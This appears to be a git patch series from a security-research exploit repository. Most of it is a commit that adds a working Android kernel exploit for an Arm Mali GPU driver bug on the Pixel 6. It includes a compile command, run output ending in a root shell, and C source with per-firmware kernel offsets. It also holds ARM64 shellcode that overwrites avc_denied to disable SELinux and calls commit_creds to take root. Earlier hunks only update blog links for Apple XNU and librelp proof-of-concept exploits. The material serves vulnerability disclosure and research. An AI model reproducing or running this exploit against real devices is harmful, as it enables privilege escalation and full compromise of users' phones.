 Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The vulnerability can be triggered without any user interaction on the victim's device. The exploit involves sending a TCP packet with non-zero options in the IP and TCP headers. It is possible that some routers or switches will refuse to deliver such packets, but it has worked for me on all the home and office networks that I have tried it on. However, I have found that it is not usually possible to send the malicious packet across the internet. 
 
-For more information about the vulnerability, see the [blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/).
+For more information about the vulnerability, see the [blog post](https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/).
 
 The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339):
 
diff --git a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md
index 9c9de96..6d8a9bb 100644
--- a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md
+++ b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md
@@ -2,7 +2,7 @@
 
 This directory contains a minimal [NFS](https://en.wikipedia.org/wiki/Network_File_System) server. It only implements a very small subset of the [NFS protocol](https://www.ietf.org/rfc/rfc1813.txt): just enough to trigger one of the buffer overflow vulnerabilities in the macOS XNU operating system kernel. The vulnerabilities were fixed in macOS version [10.13.6](https://support.apple.com/en-gb/HT208937).
 
-For more details about the vulnerabilities, see the [blog post](https://github.blog/category/security/cve-2018-4259-macos-nfs-vulnerability/).
+For more details about the vulnerabilities, see the [blog post](https://securitylab.github.com/research/cve-2018-4259-macos-nfs-vulnerability/).
 
 To compile and run (on Linux):
 
diff --git a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md
index 1a4e6a7..a55efe8 100644
--- a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md
+++ b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md
@@ -4,4 +4,4 @@ Proof-of-concept exploit for remote code execution vulnerability in the packet-m
 
 Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018.
 
-For details on how to compile and run this exploit, see the [blog post](https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/).
+For details on how to compile and run this exploit, see the [blog post](https://securitylab.github.com/research/CVE-2018-4249-apple-xnu-packet-mangler/).
diff --git a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md
index bfdae3f..989f3aa 100644
--- a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md
+++ b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md
@@ -2,4 +2,4 @@
 
 This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [librelp](https://www.rsyslog.com/librelp/). The vulnerability was fixed in librelp version [1.2.15](https://www.rsyslog.com/librelp-1-2-15/), released on 2018-03-22.
 
-For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [blog](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/).
+For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [blog](https://securitylab.github.com/research/librelp-buffer-overflow-cve-2018-1000140/).

From acfdbef031174bc11ca9cc59ce4e78d50cc754c3 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 20 Jan 2023 15:24:01 +0000
Subject: [PATCH 097/104] Initial commit.

---
 .../Android/Mali/CVE_2022_38181/README.md     |   41 +
 .../Android/Mali/CVE_2022_38181/hello-jni2.c  |  759 ++++++++++
 .../Android/Mali/CVE_2022_38181/mali.h        | 1060 ++++++++++++++
 .../Mali/CVE_2022_38181/mali_base_jm_kernel.h | 1216 +++++++++++++++++
 .../Mali/CVE_2022_38181/mali_shrinker_mmap.c  |  796 +++++++++++
 .../Android/Mali/CVE_2022_38181/midgard.h     |  260 ++++
 6 files changed, 4132 insertions(+)
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/README.md
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/mali.h
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/mali_shrinker_mmap.c
 create mode 100644 SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h

diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/README.md b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md
new file mode 100644
index 0000000..71df73d
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md
@@ -0,0 +1,41 @@
+## Exploit for CVE-2022-20186
+
+The write up can be found [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug). This is a bug in the Arm Mali kernel driver that I reported in July 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
+
+The exploit is tested on the Google Pixel 6. The original exploit that was sent to Google is included as `hello-jni.c` as a reference and was tested on the July 2022 patch of the Pixel 6. Due to the fact that Pixel 6 cannot be downgraded from Android 13 to Android 12, an updated version of the exploit, `mali_shrinker_mmap.c` is included, which supports various firmware in Android 13, including the December patch, which is the latest affected version. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_shrinker_mmap.c -o mali_shrinker_mmap
+```
+
+The exploit should be run a couple of minutes after boot and should be fairly reliable. If successful, it should disable SELinux and gain root.
+
+```
+oriole:/ $ /data/local/tmp/mali_shrinker_mmap
+fingerprint: google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys
+failed, retry.
+failed, retry.
+region freed 51
+read 0
+cleanup flush region
+jit_freed
+jit_free commit: 0 0
+Found freed_idx 0
+Found pgd 20, 769c414000
+overwrite addr : 7701100710 710
+overwrite addr : 7700f00710 710
+overwrite addr : 7701100710 710
+overwrite addr : 7700f00710 710
+overwrite addr : 7700d00710 710
+overwrite addr : 7700f00710 710
+overwrite addr : 7700d00710 710
+overwrite addr : 7701100fd4 fd4
+overwrite addr : 7700f00fd4 fd4
+overwrite addr : 7701100fd4 fd4
+overwrite addr : 7700f00fd4 fd4
+overwrite addr : 7700d00fd4 fd4
+overwrite addr : 7700f00fd4 fd4
+overwrite addr : 7700d00fd4 fd4
+result 50
+oriole:/ # 
+```
diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c b/SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c
new file mode 100644
index 0000000..b9ef3ce
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/hello-jni2.c
@@ -0,0 +1,759 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "stdbool.h"
+#include <sys/system_properties.h>
+#include <sys/syscall.h>
+
+#include "mali.h"
+#include "mali_base_jm_kernel.h"
+#include "midgard.h"
+
+#ifdef SHELL
+#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
+#else
+#include <android/log.h>
+#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__)
+
+#endif //SHELL
+
+#define MALI "/dev/mali0"
+
+#define PAGE_SHIFT 12
+
+#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576)
+
+#define PFN_DOWN(x)	((x) >> PAGE_SHIFT)
+
+#define SPRAY_PAGES 25
+
+#define SPRAY_NUM 64
+
+#define FLUSH_SIZE (0x1000 * 0x1000)
+
+#define SPRAY_CPU 0
+
+#define POOL_SIZE 16384
+
+#define RESERVED_SIZE 32
+
+#define TOTAL_RESERVED_SIZE 1024
+
+#define FLUSH_REGION_SIZE 500
+
+#define NUM_TRIALS 100
+
+#define KERNEL_BASE 0x80000000
+
+#define OVERWRITE_INDEX 256
+
+#define ADRP_INIT_INDEX 0
+
+#define ADD_INIT_INDEX 1
+
+#define ADRP_COMMIT_INDEX 2
+
+#define ADD_COMMIT_INDEX 3
+
+#define AVC_DENY_2108 0x92df1c
+
+#define SEL_READ_ENFORCE_2108 0x942ae4
+
+#define INIT_CRED_2108 0x29a0570
+
+#define COMMIT_CREDS_2108 0x180b0c
+
+#define ADD_INIT_2108 0x9115c000
+
+#define ADD_COMMIT_2108 0x912c3108
+
+#define AVC_DENY_2201 0x930af4
+
+#define SEL_READ_ENFORCE_2201 0x9456bc
+
+#define INIT_CRED_2201 0x29b0570
+
+#define COMMIT_CREDS_2201 0x183df0
+
+#define ADD_INIT_2201 0x9115c000
+
+#define ADD_COMMIT_2201 0x9137c108
+
+#define AVC_DENY_2202 0x930b50
+
+#define SEL_READ_ENFORCE_2202 0x94551c
+
+#define INIT_CRED_2202 0x29b0570
+
+#define COMMIT_CREDS_2202 0x183e3c
+
+#define ADD_INIT_2202 0x9115c000    //add	x0, x0, #0x570
+
+#define ADD_COMMIT_2202 0x9138f108  //add	x8, x8, #0xe3c
+
+#define AVC_DENY_2207 0x927664
+
+#define SEL_READ_ENFORCE_2207 0x93bf5c
+
+#define INIT_CRED_2207 0x29e07f0
+
+#define COMMIT_CREDS_2207 0x18629c
+
+#define ADD_INIT_2207 0x911fc000 //add x0, x0, #0x7f0
+
+#define ADD_COMMIT_2207 0x910a7108 //add x8, x8, #0x29c
+
+static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2207;
+
+static uint64_t avc_deny = AVC_DENY_2207;
+
+/*
+Overwriting SELinux to permissive
+  strb wzr, [x0]
+  mov x0, #0
+  ret
+*/
+static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0};
+
+static uint32_t root_code[8] = {0};
+
+static uint8_t jit_id = 1;
+static uint8_t atom_number = 1;
+static uint64_t gpu_va[SPRAY_NUM] = {0};
+static int gpu_va_idx = 0;
+static void* flush_regions[FLUSH_REGION_SIZE];
+static void* alias_regions[SPRAY_NUM] = {0};
+static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE];
+
+
+struct base_mem_handle {
+    struct {
+        __u64 handle;
+    } basep;
+};
+
+struct base_mem_aliasing_info {
+    struct base_mem_handle handle;
+    __u64 offset;
+    __u64 length;
+};
+
+static int open_dev(char* name) {
+    int fd = open(name, O_RDWR);
+    if (fd == -1) {
+        err(1, "cannot open %s\n", name);
+    }
+    return fd;
+}
+
+void setup_mali(int fd, int group_id) {
+    struct kbase_ioctl_version_check param = {0};
+    if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &param) < 0) {
+        err(1, "version check failed\n");
+    }
+    struct kbase_ioctl_set_flags set_flags = {group_id << 3};
+    if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) {
+        err(1, "set flags failed\n");
+    }
+}
+
+void* setup_tracking_page(int fd) {
+    void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE);
+    if (region == MAP_FAILED) {
+        err(1, "setup tracking page failed");
+    }
+    return region;
+}
+
+void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) {
+    struct kbase_ioctl_mem_jit_init init = {0};
+    init.va_pages = va_pages;
+    init.max_allocations = 255;
+    init.trim_level = trim_level;
+    init.group_id = group_id;
+    init.phys_pages = va_pages;
+
+    if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) {
+        err(1, "jit init failed\n");
+    }
+}
+
+uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t gpu_alloc_addr) {
+    struct base_jit_alloc_info info = {0};
+    struct base_jd_atom_v2 atom = {0};
+
+    info.id = id;
+    info.gpu_alloc_addr = gpu_alloc_addr;
+    info.va_pages = va_pages;
+    info.commit_pages = va_pages;
+    info.extension = 0x1000;
+
+    atom.jc = (uint64_t)(&info);
+    atom.atom_number = atom_number;
+    atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC;
+    atom.nr_extres = 1;
+    struct kbase_ioctl_job_submit submit = {0};
+    submit.addr = (uint64_t)(&atom);
+    submit.nr_atoms = 1;
+    submit.stride = sizeof(struct base_jd_atom_v2);
+    if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+        err(1, "submit job failed\n");
+    }
+    return *((uint64_t*)gpu_alloc_addr);
+}
+
+void jit_free(int fd, uint8_t atom_number, uint8_t id) {
+    uint8_t free_id = id;
+
+    struct base_jd_atom_v2 atom = {0};
+
+    atom.jc = (uint64_t)(&free_id);
+    atom.atom_number = atom_number;
+    atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE;
+    atom.nr_extres = 1;
+    struct kbase_ioctl_job_submit submit = {0};
+    submit.addr = (uint64_t)(&atom);
+    submit.nr_atoms = 1;
+    submit.stride = sizeof(struct base_jd_atom_v2);
+    if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+        err(1, "submit job failed\n");
+    }
+
+}
+
+void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) {
+    struct kbase_ioctl_mem_flags_change change = {0};
+    change.flags = flags;
+    change.gpu_va = gpu_addr;
+    change.mask = flags;
+    if (ignore_results) {
+        ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change);
+        return;
+    }
+    if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) {
+        err(1, "flags_change failed\n");
+    }
+}
+
+void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) {
+    if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) {
+        err(1, "mem_alloc failed\n");
+    }
+}
+
+void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) {
+    if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) {
+        err(1, "mem_alias failed\n");
+    }
+}
+
+void mem_query(int fd, union kbase_ioctl_mem_query* query) {
+    if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) {
+        err(1, "mem_query failed\n");
+    }
+}
+
+void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) {
+    struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages};
+    if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) {
+        err(1, "mem_commit failed\n");
+    }
+}
+
+void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) {
+    union kbase_ioctl_mem_alloc alloc = {0};
+    alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22);
+    int prot = PROT_READ;
+    if (!read_only) {
+        alloc.in.flags |= BASE_MEM_PROT_GPU_WR;
+        prot |= PROT_WRITE;
+    }
+    alloc.in.va_pages = va_pages;
+    alloc.in.commit_pages = commit_pages;
+    mem_alloc(mali_fd, &alloc);
+    void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va);
+    if (region == MAP_FAILED) {
+        err(1, "mmap failed");
+    }
+    return region;
+}
+
+uint64_t alloc_mem(int mali_fd, unsigned int pages) {
+    union kbase_ioctl_mem_alloc alloc = {0};
+    alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
+    int prot = PROT_READ | PROT_WRITE;
+    alloc.in.va_pages = pages;
+    alloc.in.commit_pages = pages;
+    mem_alloc(mali_fd, &alloc);
+    return alloc.out.gpu_va;
+}
+
+void free_mem(int mali_fd, uint64_t gpuaddr) {
+    struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr};
+    if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
+        err(1, "free_mem failed\n");
+    }
+}
+
+uint64_t drain_mem_pool(int mali_fd) {
+    union kbase_ioctl_mem_alloc alloc = {0};
+    alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+    int prot = PROT_READ | PROT_WRITE;
+    alloc.in.va_pages = POOL_SIZE;
+    alloc.in.commit_pages = POOL_SIZE;
+    mem_alloc(mali_fd, &alloc);
+    return alloc.out.gpu_va;
+}
+
+void release_mem_pool(int mali_fd, uint64_t drain) {
+    struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain};
+    if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
+        err(1, "free_mem failed\n");
+    }
+}
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+    unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+int migrate_to_cpu(int i)
+{
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(i, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        return -1;
+    }
+    return 0;
+}
+
+void* flush(int spray_cpu, int idx) {
+    migrate_to_cpu(spray_cpu);
+    void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+    if (region == MAP_FAILED) err(1, "flush failed");
+    memset(region, idx, FLUSH_SIZE);
+    return region;
+}
+
+void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+    for (int i = 0; i < nents; i++) {
+        union kbase_ioctl_mem_alloc alloc = {0};
+        alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+        int prot = PROT_READ | PROT_WRITE;
+        alloc.in.va_pages = pages;
+        alloc.in.commit_pages = pages;
+        mem_alloc(mali_fd, &alloc);
+        reserved_va[i] = alloc.out.gpu_va;
+    }
+}
+
+void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+    for (int i = 0; i < nents; i++) {
+        void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]);
+        if (reserved == MAP_FAILED) {
+            err(1, "mmap reserved failed");
+        }
+        reserved_va[i] = (uint64_t)reserved;
+    }
+}
+
+uint64_t alias_sprayed_regions(int mali_fd) {
+    union kbase_ioctl_mem_alias alias = {0};
+    alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
+    alias.in.stride = SPRAY_PAGES;
+
+    alias.in.nents = SPRAY_NUM;
+    struct base_mem_aliasing_info ai[SPRAY_NUM];
+    for (int i = 0; i < SPRAY_NUM; i++) {
+        ai[i].handle.basep.handle = gpu_va[i];
+        ai[i].length = SPRAY_PAGES;
+        ai[i].offset = 0;
+    }
+    alias.in.aliasing_info = (uint64_t)(&(ai[0]));
+    mem_alias(mali_fd, &alias);
+    uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES;
+    void* region = mmap(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va);
+    if (region == MAP_FAILED) {
+        err(1, "mmap alias failed");
+    }
+    alias_regions[0] = region;
+    for (int i = 1; i < SPRAY_NUM; i++) {
+        void* this_region = mmap(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd,  (uint64_t)region + i * 0x1000 * SPRAY_PAGES);
+        if (this_region == MAP_FAILED) {
+            err(1, "mmap alias failed %d\n", i);
+        }
+        alias_regions[i] = this_region;
+    }
+    return (uint64_t)region;
+}
+
+void fault_pages() {
+    int read = 0;
+    for (int va = 0; va < SPRAY_NUM; va++) {
+        uint8_t* this_va = (uint8_t*)(gpu_va[va]);
+        *this_va = 0;
+        uint8_t* this_alias = alias_regions[va];
+        read += *this_alias;
+    }
+    LOG("read %d\n", read);
+}
+
+int find_freed_idx(int mali_fd) {
+    int freed_idx = -1;
+    for (int j = 0; j < SPRAY_NUM; j++) {
+        union kbase_ioctl_mem_query query = {0};
+        query.in.gpu_addr = gpu_va[j];
+        query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
+        ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query);
+        if (query.out.value != SPRAY_PAGES) {
+            LOG("jit_free commit: %d %llu\n", j, query.out.value);
+            freed_idx = j;
+        }
+    }
+    return freed_idx;
+}
+
+int find_pgd(int freed_idx, int start_pg) {
+    uint64_t* this_alias = alias_regions[freed_idx];
+    for (int pg = start_pg; pg < SPRAY_PAGES; pg++) {
+        for (int i = 0; i < 0x1000/8; i++) {
+            uint64_t entry = this_alias[pg * 0x1000/8 + i];
+            if ((entry & 0x443) == 0x443) {
+                return pg;
+            }
+        }
+    }
+    return -1;
+}
+
+uint32_t lo32(uint64_t x) {
+    return x & 0xffffffff;
+}
+
+uint32_t hi32(uint64_t x) {
+    return x >> 32;
+}
+
+uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) {
+    uint64_t pc_page = pc >> 12;
+    uint64_t label_page = label >> 12;
+    int64_t offset = (label_page - pc_page) << 12;
+    int64_t immhi_mask = 0xffffe0;
+    int64_t immhi = offset >> 14;
+    int32_t immlo = (offset >> 12) & 0x3;
+    uint32_t adpr = rd & 0x1f;
+    adpr |= (1 << 28);
+    adpr |= (1 << 31); //op
+    adpr |= immlo << 29;
+    adpr |= (immhi_mask & (immhi << 5));
+    return adpr;
+}
+
+void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) {
+
+    uint32_t init_adpr = write_adrp(0, read_enforce, init_cred);
+    //Sets x0 to init_cred
+    root_code[ADRP_INIT_INDEX] = init_adpr;
+    root_code[ADD_INIT_INDEX] = add_init;
+    //Sets x8 to commit_creds
+    root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred);
+    root_code[ADD_COMMIT_INDEX] = add_commit;
+    root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10]
+    root_code[5] = 0xd63f0100; // blr x8
+    root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10
+    root_code[7] = 0xd65f03c0; // ret
+}
+
+uint64_t set_addr_lv3(uint64_t addr) {
+    uint64_t pfn = addr >> PAGE_SHIFT;
+    pfn &= ~ 0x1FFUL;
+    pfn |= 0x100UL;
+    return pfn << PAGE_SHIFT;
+}
+
+static inline uint64_t compute_pt_index(uint64_t addr, int level) {
+    uint64_t vpfn = addr >> PAGE_SHIFT;
+    vpfn >>= (3 - level) * 9;
+    return vpfn & 0x1FF;
+}
+
+void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) {
+    void* jc_region = map_gpu(mali_fd, 1, 1, false, 0);
+    struct MALI_JOB_HEADER jh = {0};
+    jh.is_64b = true;
+    jh.type = MALI_JOB_TYPE_WRITE_VALUE;
+
+    struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0};
+    payload.type = type;
+    payload.immediate_value = value;
+    payload.address = gpu_addr;
+
+    MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh);
+    MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload);
+    uint32_t* section = (uint32_t*)jc_region;
+    struct base_jd_atom_v2 atom = {0};
+    atom.jc = (uint64_t)jc_region;
+    atom.atom_number = atom_number;
+    atom.core_req = BASE_JD_REQ_CS;
+    struct kbase_ioctl_job_submit submit = {0};
+    submit.addr = (uint64_t)(&atom);
+    submit.nr_atoms = 1;
+    submit.stride = sizeof(struct base_jd_atom_v2);
+    if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+        err(1, "submit job failed\n");
+    }
+    usleep(10000);
+}
+
+void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) {
+    uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
+    uint64_t curr_overwrite_addr = 0;
+    for (int i = 0; i < size; i++) {
+        uint64_t base = reserved[i];
+        uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
+        uint64_t start_idx = compute_pt_index(base, 3);
+        uint64_t end_idx = compute_pt_index(end, 3);
+        for (uint64_t addr = base; addr < end; addr += 0x1000) {
+            uint64_t overwrite_addr = set_addr_lv3(addr);
+            if (curr_overwrite_addr != overwrite_addr) {
+                LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset);
+                curr_overwrite_addr = overwrite_addr;
+                for (int code = code_size - 1; code >= 0; code--) {
+                    write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
+                }
+                usleep(300000);
+            }
+        }
+    }
+}
+
+int run_enforce() {
+    char result = '2';
+    sleep(3);
+    int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+    read(enforce_fd, &result, 1);
+    close(enforce_fd);
+    LOG("result %d\n", result);
+    return result;
+}
+
+void select_offset() {
+    char fingerprint[256];
+    int len = __system_property_get("ro.build.fingerprint", fingerprint);
+    LOG("fingerprint: %s\n", fingerprint);
+    if (!strcmp(fingerprint, "google/oriole/oriole:12/SD1A.210817.037/7862242:user/release-keys")) {
+        avc_deny = AVC_DENY_2108;
+        sel_read_enforce = SEL_READ_ENFORCE_2108;
+        fixup_root_shell(INIT_CRED_2108, COMMIT_CREDS_2108, SEL_READ_ENFORCE_2108, ADD_INIT_2108, ADD_COMMIT_2108);
+        return;
+    }
+    if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220105.007/8030436:user/release-keys")) {
+        avc_deny = AVC_DENY_2201;
+        sel_read_enforce = SEL_READ_ENFORCE_2201;
+        fixup_root_shell(INIT_CRED_2201, COMMIT_CREDS_2201, SEL_READ_ENFORCE_2201, ADD_INIT_2201, ADD_COMMIT_2201);
+        return;
+    }
+    if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys")) {
+        avc_deny = AVC_DENY_2202;
+        sel_read_enforce = SEL_READ_ENFORCE_2202;
+        fixup_root_shell(INIT_CRED_2202, COMMIT_CREDS_2202, SEL_READ_ENFORCE_2202, ADD_INIT_2202, ADD_COMMIT_2202);
+        return;
+    }
+    if (!strcmp(fingerprint, "google/oriole/oriole:12/SQ3A.220705.003/8671607:user/release-keys")) {
+        avc_deny = AVC_DENY_2207;
+        sel_read_enforce = SEL_READ_ENFORCE_2207;
+        fixup_root_shell(INIT_CRED_2207, COMMIT_CREDS_2207, SEL_READ_ENFORCE_2207, ADD_INIT_2207, ADD_COMMIT_2207);
+        return;
+    }
+
+    err(1, "unable to match build id\n");
+}
+
+void cleanup(int mali_fd, uint64_t pgd) {
+    write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+}
+
+void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
+    uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+    write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+
+    usleep(100000);
+    //Go through the reserve pages addresses to write to avc_denied with our own shellcode
+    write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));
+
+    //Triggers avc_denied to disable SELinux
+    open("/dev/kmsg", O_RDONLY);
+
+    uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+    write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+
+    //Call commit_creds to overwrite process credentials to gain root
+    write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
+}
+
